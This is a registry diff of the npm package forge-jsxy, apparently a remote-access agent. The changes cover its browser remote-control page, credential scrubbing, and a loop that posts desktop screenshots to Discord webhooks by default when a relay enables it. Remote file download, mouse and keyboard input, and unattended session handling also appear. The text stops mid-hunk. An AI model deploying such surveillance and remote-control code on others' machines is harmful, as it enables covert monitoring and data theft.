forge-jsxy 1.0.76 → 1.0.78
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +2940 -692
- package/assets/remote-control-template.html +78 -22
- package/dist/agentRunner.js +6 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +2941 -693
- package/dist/assets/remote-control-template.html +78 -22
- package/dist/autostart/agentEnvFile.d.ts +3 -2
- package/dist/autostart/agentEnvFile.js +8 -4
- package/dist/cli-agent.js +3 -3
- package/dist/discordAgentScreenshot.d.ts +1 -1
- package/dist/discordAgentScreenshot.js +41 -16
- package/dist/discordRateLimit.js +22 -11
- package/dist/discordRelayUpload.js +5 -3
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +13 -1
- package/dist/exportMirrorCopy.js +89 -2
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +86 -4
- package/dist/fsMessages.d.ts +2 -0
- package/dist/fsMessages.js +29 -8
- package/dist/fsProtocol.d.ts +16 -4
- package/dist/fsProtocol.js +948 -151
- package/dist/hfCredentials.d.ts +1 -1
- package/dist/hfCredentials.js +1 -1
- package/dist/hfSeqIdLookup.d.ts +2 -2
- package/dist/hfSeqIdLookup.js +11 -5
- package/dist/hfUpload.d.ts +2 -2
- package/dist/hfUpload.js +103 -17
- package/dist/relayAgent.js +48 -26
- package/dist/relayDashboardGate.js +42 -55
- package/dist/relayServer.js +171 -6
- package/dist/syncClient.js +5 -0
- package/dist/windowsInputSync.js +20 -1
- package/package.json +3 -1
- package/scripts/discord-live-probe.mjs +66 -4
|
@@ -3,6 +3,21 @@
|
|
|
3
3
|
<head>
|
|
4
4
|
<meta charset="UTF-8" />
|
|
5
5
|
<meta name="viewport" content="width=device-width,initial-scale=1" />
|
|
6
|
+
<script>
|
|
7
|
+
(function () {
|
|
8
|
+
try {
|
|
9
|
+
var p = new URLSearchParams(location.search || "");
|
|
10
|
+
var sp = String(p.get("session") || p.get("s") || "").trim();
|
|
11
|
+
if (!sp) return;
|
|
12
|
+
var suf = /^client_/i.test(sp) ? sp.slice(7) : sp;
|
|
13
|
+
p.delete("session");
|
|
14
|
+
p.delete("s");
|
|
15
|
+
p.set("my_vps", suf);
|
|
16
|
+
var nq = p.toString();
|
|
17
|
+
history.replaceState(null, "", location.pathname + (nq ? "?" + nq : "") + location.hash);
|
|
18
|
+
} catch (e) {}
|
|
19
|
+
})();
|
|
20
|
+
</script>
|
|
6
21
|
<title>Forge Remote Control</title>
|
|
7
22
|
<style>
|
|
8
23
|
:root {
|
|
@@ -273,8 +288,8 @@
|
|
|
273
288
|
</div>
|
|
274
289
|
</div>
|
|
275
290
|
<script>
|
|
276
|
-
const relayFallback =
|
|
277
|
-
const pwdHint =
|
|
291
|
+
const relayFallback = __FORGE_REPLACE_RELAY_FALLBACK_JS__ || "";
|
|
292
|
+
const pwdHint = __FORGE_REPLACE_PWD_JS__ || "";
|
|
278
293
|
const streamStatsEl = document.getElementById("streamStats");
|
|
279
294
|
const fpsStateEl = document.getElementById("fpsState");
|
|
280
295
|
const stateEl = document.getElementById("state");
|
|
@@ -357,6 +372,8 @@
|
|
|
357
372
|
let lastPointerPoint = null;
|
|
358
373
|
let suppressClickUntil = 0;
|
|
359
374
|
let disablePressLifecycle = false;
|
|
375
|
+
let rcActionCaps = null;
|
|
376
|
+
const unsupportedActionNoticeAt = new Map();
|
|
360
377
|
let lastClickAt = 0;
|
|
361
378
|
let lastClickPoint = null;
|
|
362
379
|
let lastClickButton = "left";
|
|
@@ -594,11 +611,7 @@
|
|
|
594
611
|
sessionAgentVersion = String(row.agent_version || "").trim();
|
|
595
612
|
sessionAgentOs = String(row.agent_os || "").trim().toLowerCase();
|
|
596
613
|
refreshWriteModeEligibilityUi();
|
|
597
|
-
if (
|
|
598
|
-
sessionAgentVersion &&
|
|
599
|
-
sessionAgentOs.includes("windows") &&
|
|
600
|
-
versionLt(sessionAgentVersion, "1.0.71")
|
|
601
|
-
) {
|
|
614
|
+
if (sessionAgentVersion && versionLt(sessionAgentVersion, "1.0.71")) {
|
|
602
615
|
setState("Agent v" + sessionAgentVersion + " detected. Upgrade agent from /files to enable reliable control.");
|
|
603
616
|
}
|
|
604
617
|
} catch {
|
|
@@ -613,11 +626,6 @@
|
|
|
613
626
|
setState("Detecting agent platform/version…");
|
|
614
627
|
return true;
|
|
615
628
|
}
|
|
616
|
-
if (!os.includes("windows")) {
|
|
617
|
-
setState("Write mode supports Windows agents only.");
|
|
618
|
-
showEmptyState("Remote control input is available only for Windows agents. This session is " + (os || "unknown") + ".", true);
|
|
619
|
-
return false;
|
|
620
|
-
}
|
|
621
629
|
if (!ver || versionLt(ver, "1.0.71")) {
|
|
622
630
|
setState("Upgrade required: agent v" + (ver || "unknown") + " -> v1.0.71+");
|
|
623
631
|
showEmptyState("This session is running an older agent build. Open /files for this session and click Upgrade agent, then reconnect.", true);
|
|
@@ -626,15 +634,13 @@
|
|
|
626
634
|
return true;
|
|
627
635
|
}
|
|
628
636
|
function refreshWriteModeEligibilityUi() {
|
|
629
|
-
const os = String(sessionAgentOs || "").toLowerCase();
|
|
630
637
|
const ver = String(sessionAgentVersion || "");
|
|
631
|
-
const hasOs = os.length > 0;
|
|
632
638
|
const hasVer = ver.length > 0;
|
|
633
639
|
// Keep the mode button usable while metadata is still unknown; hard-block only when incompatibility is explicit.
|
|
634
|
-
const incompatible =
|
|
640
|
+
const incompatible = hasVer && versionLt(ver, "1.0.71");
|
|
635
641
|
modeBtn.disabled = false;
|
|
636
642
|
if (!writeEnabled && incompatible) {
|
|
637
|
-
modeBtn.title = "Write mode requires
|
|
643
|
+
modeBtn.title = "Write mode requires agent v1.0.71+ (upgrade this session from /files).";
|
|
638
644
|
} else {
|
|
639
645
|
modeBtn.title = "";
|
|
640
646
|
}
|
|
@@ -763,13 +769,17 @@
|
|
|
763
769
|
return relayFallback || "ws://127.0.0.1:9877";
|
|
764
770
|
}
|
|
765
771
|
function currentSessionId() {
|
|
766
|
-
|
|
772
|
+
const p = new URLSearchParams(location.search);
|
|
773
|
+
let v = String(p.get("my_vps") || p.get("vps") || p.get("session") || "").trim();
|
|
774
|
+
if (!v) return "";
|
|
775
|
+
if (/^client_/i.test(v)) return v;
|
|
776
|
+
return "client_" + v;
|
|
767
777
|
}
|
|
768
778
|
function resolveSessionId() {
|
|
769
779
|
const sid = currentSessionId();
|
|
770
780
|
if (sid) return sid;
|
|
771
|
-
|
|
772
|
-
return
|
|
781
|
+
/** No `window.prompt` — unattended-friendly; use ?my_vps= / ?session= same as /files. */
|
|
782
|
+
return "";
|
|
773
783
|
}
|
|
774
784
|
function sessionPwdKey(sid) {
|
|
775
785
|
return "forge_remote_pwd_" + sid;
|
|
@@ -877,7 +887,16 @@
|
|
|
877
887
|
}
|
|
878
888
|
function connect() {
|
|
879
889
|
const sid = resolveSessionId();
|
|
880
|
-
if (!sid) {
|
|
890
|
+
if (!sid) {
|
|
891
|
+
setState("Session required");
|
|
892
|
+
if (!hasFrame) {
|
|
893
|
+
showEmptyState(
|
|
894
|
+
"Add ?my_vps=… or ?session=… to this URL (same session id as file explorer). Browser prompt is not used.",
|
|
895
|
+
true
|
|
896
|
+
);
|
|
897
|
+
}
|
|
898
|
+
return;
|
|
899
|
+
}
|
|
881
900
|
void refreshSessionAgentMeta(sid);
|
|
882
901
|
const url = wsBaseUrl().replace(/\/+$/, "") + "/ws/viewer/" + encodeURIComponent(sid);
|
|
883
902
|
disconnect();
|
|
@@ -894,7 +913,9 @@
|
|
|
894
913
|
armAuthWatchdog();
|
|
895
914
|
};
|
|
896
915
|
ws.onclose = () => {
|
|
916
|
+
ws = null;
|
|
897
917
|
authed = false;
|
|
918
|
+
rcActionCaps = null;
|
|
898
919
|
setState("Disconnected");
|
|
899
920
|
stopShotLoop();
|
|
900
921
|
clearAuthWatchdog();
|
|
@@ -933,6 +954,7 @@
|
|
|
933
954
|
startShotLoop();
|
|
934
955
|
requestScreenshot();
|
|
935
956
|
startRemoteClipboardPoll();
|
|
957
|
+
void refreshRemoteControlCapabilities();
|
|
936
958
|
if (!hasFrame) showEmptyState("Connected. Waiting for first screenshot frame...", false);
|
|
937
959
|
} else {
|
|
938
960
|
forgetPassword(sid);
|
|
@@ -1434,7 +1456,12 @@
|
|
|
1434
1456
|
let eof = false;
|
|
1435
1457
|
const chunks = [];
|
|
1436
1458
|
let fileName = "remote-file.bin";
|
|
1459
|
+
const MAX_CHUNKS = 2048; // 2048 × 8MB = 16 GB cap — safety valve against infinite loop
|
|
1460
|
+
const DEADLINE = Date.now() + 5 * 60 * 1000; // 5-minute wall-clock timeout
|
|
1461
|
+
let chunkCount = 0;
|
|
1437
1462
|
while (!eof) {
|
|
1463
|
+
if (chunkCount++ >= MAX_CHUNKS) return { ok: false, error: "download aborted: too many chunks (file too large)" };
|
|
1464
|
+
if (Date.now() > DEADLINE) return { ok: false, error: "download aborted: timeout exceeded (5 min)" };
|
|
1438
1465
|
const r = await wsRequest("fs_read", {
|
|
1439
1466
|
path: p,
|
|
1440
1467
|
chunk: true,
|
|
@@ -1448,7 +1475,10 @@
|
|
|
1448
1475
|
if (seg) fileName = seg;
|
|
1449
1476
|
const b64 = String(r.b64 || "");
|
|
1450
1477
|
if (b64) chunks.push(b64);
|
|
1451
|
-
|
|
1478
|
+
const nextOff = Number.isFinite(Number(r.next_offset)) ? Number(r.next_offset) : off;
|
|
1479
|
+
// Guard against stuck offset — if agent doesn't advance, treat as eof to avoid infinite loop
|
|
1480
|
+
if (!r.eof && nextOff <= off && b64.length === 0) return { ok: false, error: "download aborted: agent offset did not advance" };
|
|
1481
|
+
off = Math.max(off, nextOff);
|
|
1452
1482
|
eof = Boolean(r.eof);
|
|
1453
1483
|
}
|
|
1454
1484
|
if (chunks.length === 0) return { ok: false, error: "empty file or no read access" };
|
|
@@ -1493,7 +1523,8 @@
|
|
|
1493
1523
|
const n = String(name || "");
|
|
1494
1524
|
if (!b) return n;
|
|
1495
1525
|
if (/[\\/]$/.test(b)) return b + n;
|
|
1496
|
-
|
|
1526
|
+
// Use the separator that already appears in the base path to handle Unix/macOS correctly
|
|
1527
|
+
return b + (b.indexOf("/") >= 0 ? "/" : "\\") + n;
|
|
1497
1528
|
}
|
|
1498
1529
|
async function loadRootsIntoPanel() {
|
|
1499
1530
|
if (!writeEnabled) return;
|
|
@@ -1550,11 +1581,36 @@
|
|
|
1550
1581
|
}
|
|
1551
1582
|
function sendRemoteInput(payload) {
|
|
1552
1583
|
if (!ws || ws.readyState !== 1 || !authed || !writeEnabled) return;
|
|
1584
|
+
const action = String(payload && payload.action || "").trim();
|
|
1585
|
+
if (action && rcActionCaps && Object.prototype.hasOwnProperty.call(rcActionCaps, action) && !rcActionCaps[action]) {
|
|
1586
|
+
const now = Date.now();
|
|
1587
|
+
const prev = Number(unsupportedActionNoticeAt.get(action) || 0);
|
|
1588
|
+
if (now - prev > 1500) {
|
|
1589
|
+
unsupportedActionNoticeAt.set(action, now);
|
|
1590
|
+
setState("This remote action is unavailable on the current OS/tooling: " + action);
|
|
1591
|
+
}
|
|
1592
|
+
return;
|
|
1593
|
+
}
|
|
1553
1594
|
ws.send(JSON.stringify(Object.assign({
|
|
1554
1595
|
type: "rc_input",
|
|
1555
1596
|
request_id: "rc_" + (++reqSeq),
|
|
1556
1597
|
}, payload || {})));
|
|
1557
1598
|
}
|
|
1599
|
+
async function refreshRemoteControlCapabilities() {
|
|
1600
|
+
try {
|
|
1601
|
+
const r = await wsRequest("rc_input", { action: "capabilities" });
|
|
1602
|
+
const caps = r && r.action_capabilities && typeof r.action_capabilities === "object"
|
|
1603
|
+
? r.action_capabilities
|
|
1604
|
+
: null;
|
|
1605
|
+
if (caps) {
|
|
1606
|
+
rcActionCaps = caps;
|
|
1607
|
+
const notes = Array.isArray(r.notes) ? r.notes.filter(Boolean).map((x) => String(x)) : [];
|
|
1608
|
+
if (notes.length) setState(notes[0]);
|
|
1609
|
+
}
|
|
1610
|
+
} catch {
|
|
1611
|
+
/* old agents may not support capability probing; keep permissive compatibility mode */
|
|
1612
|
+
}
|
|
1613
|
+
}
|
|
1558
1614
|
function queueMouseMove(point) {
|
|
1559
1615
|
if (!point) return;
|
|
1560
1616
|
pendingMovePoint = point;
|
|
@@ -11,8 +11,9 @@ export declare function sanitizeForgeAgentEnvFileOnDisk(dataDir: string): boolea
|
|
|
11
11
|
* Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
|
|
12
12
|
* or relay disconnect (relay-first deployments never need these on the agent).
|
|
13
13
|
* Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
|
|
14
|
-
* from `relay_features`). **Exception:** non-secret screenshot
|
|
15
|
-
*
|
|
14
|
+
* from `relay_features`). **Exception:** non-secret screenshot prefs (`FORGE_JS_DISCORD_SCREENSHOT_ENABLED`, interval,
|
|
15
|
+
* upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
|
|
16
|
+
* after an explicit opt-out was loaded from `forge-js-agent.env`.
|
|
16
17
|
* Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
|
|
17
18
|
* via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
|
|
18
19
|
*/
|
|
@@ -75,10 +75,12 @@ const FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS = new Set([
|
|
|
75
75
|
"RELAY_SYNC_API_BASE_URL",
|
|
76
76
|
]);
|
|
77
77
|
/**
|
|
78
|
-
* Non-secret Discord screenshot tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
|
|
79
|
-
* and disk sanitize so reconnect does not
|
|
78
|
+
* Non-secret Discord screenshot preferences / tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
|
|
79
|
+
* and disk sanitize so reconnect does not drop cadence or screenshot opt-in/out (`relay_features` merge uses process.env).
|
|
80
80
|
*/
|
|
81
81
|
const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
|
|
82
|
+
/** Opt-in/out survives WS teardown (`stripEphemeralCredentialEnvFromProcess`) and disk sanitize — not a secret. */
|
|
83
|
+
"FORGE_JS_DISCORD_SCREENSHOT_ENABLED",
|
|
82
84
|
"FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS",
|
|
83
85
|
"FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS",
|
|
84
86
|
"FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS",
|
|
@@ -87,6 +89,7 @@ const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
|
|
|
87
89
|
"FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES",
|
|
88
90
|
"FORGE_JS_DISCORD_429_MAX_ATTEMPTS",
|
|
89
91
|
"FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS",
|
|
92
|
+
"FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK",
|
|
90
93
|
]);
|
|
91
94
|
function isForgeJsDiscordScreenshotTuningKey(key) {
|
|
92
95
|
return FORGE_JS_DISCORD_TUNING_KEYS.has(String(key || "").trim());
|
|
@@ -138,8 +141,9 @@ function sanitizeForgeAgentEnvFileOnDisk(dataDir) {
|
|
|
138
141
|
* Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
|
|
139
142
|
* or relay disconnect (relay-first deployments never need these on the agent).
|
|
140
143
|
* Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
|
|
141
|
-
* from `relay_features`). **Exception:** non-secret screenshot
|
|
142
|
-
*
|
|
144
|
+
* from `relay_features`). **Exception:** non-secret screenshot prefs (`FORGE_JS_DISCORD_SCREENSHOT_ENABLED`, interval,
|
|
145
|
+
* upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
|
|
146
|
+
* after an explicit opt-out was loaded from `forge-js-agent.env`.
|
|
143
147
|
* Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
|
|
144
148
|
* via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
|
|
145
149
|
*/
|
package/dist/cli-agent.js
CHANGED
|
@@ -30,14 +30,14 @@ if (process.argv.includes("-h") || process.argv.includes("--help")) {
|
|
|
30
30
|
` To join the relay default room intentionally: FORGE_JS_USE_RELAY_SESSION=1 or set CFGMGR_SESSION_ID / --session.\n` +
|
|
31
31
|
` Auto-chosen session is written to <CfgMgr data>/forge-js-explorer-session.txt (e.g. %LOCALAPPDATA%\\CfgMgr\\data on Windows).\n` +
|
|
32
32
|
`Forge-db sync: set FORGE_JS_SYNC_URL / CFGMGR_API_URL on the relay — the agent copies sync from GET /api/relay-for-agent (before WS) and relay_features.sync_api_base_url on connect if unset locally.\n` +
|
|
33
|
-
`Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features —
|
|
34
|
-
` screenshots run in-memory only (not written to forge-js-agent.env). Set FORGE_JS_DISCORD_SCREENSHOT_ENABLED=0 on the agent to opt out when you set it explicitly.\n` +
|
|
33
|
+
`Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features — leave FORGE_JS_DISCORD_SCREENSHOT_ENABLED unset to follow the relay, set =1 to force on, or =0/false/off to opt out (persistable in forge-js-agent.env; survives reconnect).\n` +
|
|
35
34
|
` Optional: FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS in milliseconds (default 300000 = 5m). If set on the agent, it overrides relay_features.discord_screenshot_interval_ms.\n` +
|
|
36
35
|
` FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS — optional cap N (ms): adds hash(client_id)%N to interval to desync many PCs without per-host env.\n` +
|
|
37
36
|
` FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS (default 3000, 0=immediate first capture); FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS optional first-shot spread.\n` +
|
|
38
|
-
` FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook).\n` +
|
|
37
|
+
` FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook). If unset, relay_features.discord_screenshot_upload_mode may set it from RELAY_DISCORD_AGENT_UPLOAD_MODE.\n` +
|
|
39
38
|
` FORGE_JS_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries per HTTP call to Discord.\n` +
|
|
40
39
|
` FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS=1-12 (default 12) — webhook mode: extra full ticket→POST retries after 429.\n` +
|
|
40
|
+
` FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1 — optional: after webhook failures, retry via relay WS (PNG). Default off.\n` +
|
|
41
41
|
`Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
|
|
42
42
|
process.exit(0);
|
|
43
43
|
}
|
|
@@ -12,7 +12,7 @@ export type DiscordAgentScreenshotOpts = {
|
|
|
12
12
|
quiet: boolean;
|
|
13
13
|
waitForRelayDiscordAck: (requestId: string) => Promise<DiscordRelayAck>;
|
|
14
14
|
waitForDiscordTicket: (requestId: string) => Promise<DiscordTicketResult>;
|
|
15
|
-
/** When true, run the loop
|
|
15
|
+
/** When true, run the loop when relay sends `discord_screenshot` and the agent did not explicitly opt out. */
|
|
16
16
|
enabledByRelayCapabilities?: boolean;
|
|
17
17
|
};
|
|
18
18
|
/**
|
|
@@ -61,16 +61,18 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
|
|
|
61
61
|
* 5. Webhook ticket retry loop — `FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS` (default 12)
|
|
62
62
|
* full ticket → POST → ack cycles when Discord returns 429 between relay steps.
|
|
63
63
|
* `discordBackoffMsFromErrorText` parses `retry_after` from error strings.
|
|
64
|
-
* 6.
|
|
65
|
-
*
|
|
64
|
+
* 6. Optional webhook→relay fallback — only when `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1`
|
|
65
|
+
* (retries via `discord_screenshot_upload`, PNG over WS). Default **off** for agent→Discord only.
|
|
66
66
|
* 7. Upload serialization — `uploadBusy` flag ensures only one upload runs at a
|
|
67
67
|
* time; new captures queue rather than firing concurrent Discord requests.
|
|
68
68
|
*
|
|
69
|
-
* Env (agent): `FORGE_JS_DISCORD_SCREENSHOT_ENABLED
|
|
70
|
-
* `
|
|
69
|
+
* Env (agent): omit `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` to follow `relay_features.discord_screenshot` when the relay enables Discord;
|
|
70
|
+
* set `=1` to force on or `=0`/`false`/`no`/`off` to opt out (may persist in `forge-js-agent.env`; survives reconnect / credential strip).
|
|
71
71
|
* Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
|
|
72
72
|
* unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
|
|
73
|
-
*
|
|
73
|
+
* Upload mode: relay may send `relay_features.discord_screenshot_upload_mode` (`webhook`|`relay`) from
|
|
74
|
+
* `RELAY_DISCORD_AGENT_UPLOAD_MODE`; applied when `FORGE_JS_DISCORD_UPLOAD_MODE` is unset (agent wins if set).
|
|
75
|
+
* Optional `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` to retry failed webhook uploads via relay WS (default off).
|
|
74
76
|
*/
|
|
75
77
|
const node_crypto_1 = require("node:crypto");
|
|
76
78
|
const discordBotTokens_1 = require("./discordBotTokens");
|
|
@@ -79,7 +81,7 @@ const os = __importStar(require("node:os"));
|
|
|
79
81
|
const fsProtocol_1 = require("./fsProtocol");
|
|
80
82
|
const discordRateLimit_1 = require("./discordRateLimit");
|
|
81
83
|
const discordWebhookPost_1 = require("./discordWebhookPost");
|
|
82
|
-
/** Align with Discord bot/webhook attachment caps; override for boosted guilds via env. */
|
|
84
|
+
/** Align with Discord bot/webhook attachment caps; override for boosted guilds via env (up to 25 MiB). */
|
|
83
85
|
function discordWebhookMaxAttachmentBytes() {
|
|
84
86
|
const raw = (process.env.FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES || "").trim();
|
|
85
87
|
if (raw) {
|
|
@@ -90,16 +92,21 @@ function discordWebhookMaxAttachmentBytes() {
|
|
|
90
92
|
}
|
|
91
93
|
return 10 * 1024 * 1024;
|
|
92
94
|
}
|
|
93
|
-
/**
|
|
95
|
+
/** Capture budget matches {@link discordWebhookMaxAttachmentBytes} (not hard-limited to 10 MiB). */
|
|
94
96
|
function discordCaptureMaxBytes() {
|
|
95
|
-
return
|
|
97
|
+
return discordWebhookMaxAttachmentBytes();
|
|
98
|
+
}
|
|
99
|
+
/** Neutralize Discord @mention triggers (same as formatter.py _neutralize_discord_triggers). */
|
|
100
|
+
function _neutralizeDiscordTriggers(s) {
|
|
101
|
+
return s.replace(/@(everyone|here)/gi, "@\u200b$1");
|
|
96
102
|
}
|
|
97
103
|
/** Short OS label for Discord screenshot captions. */
|
|
98
104
|
function _screenshotOsLabel() {
|
|
99
105
|
const t = os.type(); // "Windows_NT" | "Linux" | "Darwin"
|
|
100
106
|
const h = os.hostname();
|
|
101
107
|
let label = t === "Windows_NT" ? "Windows" : t === "Darwin" ? "macOS" : t || "Linux";
|
|
102
|
-
|
|
108
|
+
// Neutralize @everyone / @here in hostname to prevent unwanted Discord pings
|
|
109
|
+
return h ? `${label} · ${_neutralizeDiscordTriggers(h)}` : label;
|
|
103
110
|
}
|
|
104
111
|
/** Screenshot caption in JST with OS label. */
|
|
105
112
|
function _screenshotCaption() {
|
|
@@ -145,6 +152,14 @@ function discordWebhookTicketFlowMaxAttempts() {
|
|
|
145
152
|
return n;
|
|
146
153
|
return 12;
|
|
147
154
|
}
|
|
155
|
+
/**
|
|
156
|
+
* After webhook ticket/POST failures, optionally retry via `discord_screenshot_upload` (PNG over WS).
|
|
157
|
+
* Default **false** — production prefers agent→Discord only. Set `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` for legacy resilience.
|
|
158
|
+
*/
|
|
159
|
+
function discordWebhookRelayFallbackEnabled() {
|
|
160
|
+
const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK || "").trim().toLowerCase();
|
|
161
|
+
return ["1", "true", "yes", "on"].includes(raw);
|
|
162
|
+
}
|
|
148
163
|
/** Delay before the first capture after the loop starts (handshake/display settle). `0` = next event-loop tick. Max 300s. */
|
|
149
164
|
function discordScreenshotFirstDelayMs() {
|
|
150
165
|
const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS || "").trim();
|
|
@@ -298,13 +313,15 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
298
313
|
rawB64 = "";
|
|
299
314
|
const whMax = discordWebhookMaxAttachmentBytes();
|
|
300
315
|
if (png.length > whMax) {
|
|
301
|
-
const shrunk = await (0, fsProtocol_1.
|
|
316
|
+
const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferForDiscordAttachment)(png, whMax);
|
|
302
317
|
if (!shrunk || shrunk.buffer.length > whMax) {
|
|
303
318
|
if (!opts.quiet) {
|
|
304
319
|
console.error(`[forge-js:discord-screenshot] image too large for Discord webhook (${png.length} bytes > ${whMax}) after JPEG shrink — raise FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES or ensure jimp / ImageMagick / ffmpeg is available on the agent`);
|
|
305
320
|
}
|
|
306
|
-
//
|
|
307
|
-
|
|
321
|
+
// Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
|
|
322
|
+
if (discordWebhookRelayFallbackEnabled()) {
|
|
323
|
+
await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
|
|
324
|
+
}
|
|
308
325
|
try {
|
|
309
326
|
png.fill(0);
|
|
310
327
|
}
|
|
@@ -347,7 +364,9 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
347
364
|
if (!opts.quiet) {
|
|
348
365
|
console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
|
|
349
366
|
}
|
|
350
|
-
|
|
367
|
+
if (discordWebhookRelayFallbackEnabled()) {
|
|
368
|
+
await relayFallbackUploadWithRetry(originalB64, err);
|
|
369
|
+
}
|
|
351
370
|
return;
|
|
352
371
|
}
|
|
353
372
|
let whUrl = String(ticket.webhook_url).trim();
|
|
@@ -375,19 +394,25 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
375
394
|
if (!opts.quiet) {
|
|
376
395
|
console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
|
|
377
396
|
}
|
|
378
|
-
|
|
397
|
+
if (discordWebhookRelayFallbackEnabled()) {
|
|
398
|
+
await relayFallbackUploadWithRetry(originalB64, posted.error);
|
|
399
|
+
}
|
|
379
400
|
return;
|
|
380
401
|
}
|
|
381
402
|
if (!opts.quiet) {
|
|
382
403
|
console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
|
|
383
404
|
}
|
|
384
|
-
|
|
405
|
+
if (discordWebhookRelayFallbackEnabled()) {
|
|
406
|
+
await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
|
|
407
|
+
}
|
|
385
408
|
}
|
|
386
409
|
catch (e) {
|
|
387
410
|
if (!opts.quiet) {
|
|
388
411
|
console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
|
|
389
412
|
}
|
|
390
|
-
|
|
413
|
+
if (discordWebhookRelayFallbackEnabled()) {
|
|
414
|
+
await relayFallbackUploadWithRetry(originalB64, String(e));
|
|
415
|
+
}
|
|
391
416
|
}
|
|
392
417
|
finally {
|
|
393
418
|
if (png && png.length > 0) {
|
package/dist/discordRateLimit.js
CHANGED
|
@@ -178,19 +178,26 @@ async function fetchUntilNot429(doFetch, routeKey, tracker) {
|
|
|
178
178
|
if (tracker && routeKey) {
|
|
179
179
|
tracker.update(res.headers, routeKey);
|
|
180
180
|
}
|
|
181
|
-
for (let i = 0; i < max - 1 && res.status === 429; i++) {
|
|
182
|
-
|
|
183
|
-
if (
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
181
|
+
for (let i = 0; i < max - 1 && (res.status === 429 || isRetriable5xx(res.status)); i++) {
|
|
182
|
+
let delay;
|
|
183
|
+
if (res.status === 429) {
|
|
184
|
+
delay = await discord429DelayMs(res);
|
|
185
|
+
if (tracker && routeKey) {
|
|
186
|
+
const isGlobal = res.headers.get("X-RateLimit-Global") === "true" ||
|
|
187
|
+
res.headers.get("X-RateLimit-Scope") === "global";
|
|
188
|
+
const bucket = res.headers.get("X-RateLimit-Bucket");
|
|
189
|
+
if (isGlobal) {
|
|
190
|
+
tracker.setGlobalPause(delay);
|
|
191
|
+
}
|
|
192
|
+
else {
|
|
193
|
+
tracker.setRoutePause(routeKey, bucket, delay);
|
|
194
